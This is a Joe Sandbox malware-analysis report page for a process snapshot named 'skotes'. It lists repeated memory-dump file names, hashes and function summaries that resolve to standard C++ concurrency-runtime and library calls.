Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 5fa038276161cc4026391d5546f0c6506b4f7d166be35f4c5163913e691fb244
Instruction ID: 6e45138906b89597b3c7660a10ae5882d38652deb702f6dd0f72704e42e4448b
Opcode Fuzzy Hash: 5fa038276161cc4026391d5546f0c6506b4f7d166be35f4c5163913e691fb244
Instruction Fuzzy Hash: 7F215034A00349AFCB14EF69CA85EAD7BB5BF45314F1450A9E955B7361CB31AE02CF90

Function 00EC78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EC7903

Part of subcall function 00EC5CB8: __EH_prolog3_catch.LIBCMT ref: 00EC5CBF
Part of subcall function 00EC5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00EC5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00EC792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EC7936

Part of subcall function 00EC5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00EC5D70
Part of subcall function 00EC5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00EC5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00EC7982
Concurrency::location::_Assign.LIBCMT ref: 00EC79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00EC79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00EC79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00EC79ED

Part of subcall function 00EC691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00EC6942
Part of subcall function 00EC691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00EC6965

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: fdaa3a36eeac228e0dc7d18d93e506859dc31a5d5760e36ee62ec9de341f559d
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 8C317830B082515ACF16AA384692FFEBBF59F81304F0461ADD8C5F7242DA364C4BCB91

Function 00ECDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00ECDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00ECDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00ECDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00ECDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00ECDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00ECDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00ECDE74

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: b4787e1f73943f428f0f09557268530388a1ebf86dc1a86cf9e4c88af02bcdbd
Instruction ID: cee6be0016ffe2f98feadec170d5f5a9c1707ae98d143d8cb99836acd2a3870c
Opcode Fuzzy Hash: b4787e1f73943f428f0f09557268530388a1ebf86dc1a86cf9e4c88af02bcdbd
Instruction Fuzzy Hash: 3141AF30A082449ACF14EBA08A45FED7BE55F50304F1860BDE8467B2D3DB678E06CB62

Function 00ECE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00ECE7D7

Part of subcall function 00ECE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00ECE577
Part of subcall function 00ECE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00ECE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ECE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00ECE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00ECE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ECE879
Concurrency::location::_Assign.LIBCMT ref: 00ECE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ECE8B5

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 28f971dcbe93cc30170831146bb950e7c844424e4366008adc1ea9256cc5881b
Instruction ID: 9c6b1488fb6eb1902b7a85abe6d14c31934d1764c3ebff07807a7fafb7d63e50
Opcode Fuzzy Hash: 28f971dcbe93cc30170831146bb950e7c844424e4366008adc1ea9256cc5881b
Instruction Fuzzy Hash: CC413B35A00205DFCB04DF64C594BADBBB5FF48314F1880A9ED45AB382DB34A942CFA1

Function 00EB6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EB6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00EB6F22
std::_Rethrow_future_exception.LIBCPMT ref: 00EB6F32
__Mtx_unlock.LIBCPMT ref: 00EB6FD5
__Mtx_unlock.LIBCPMT ref: 00EB70DB
__Mtx_unlock.LIBCPMT ref: 00EB7116

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
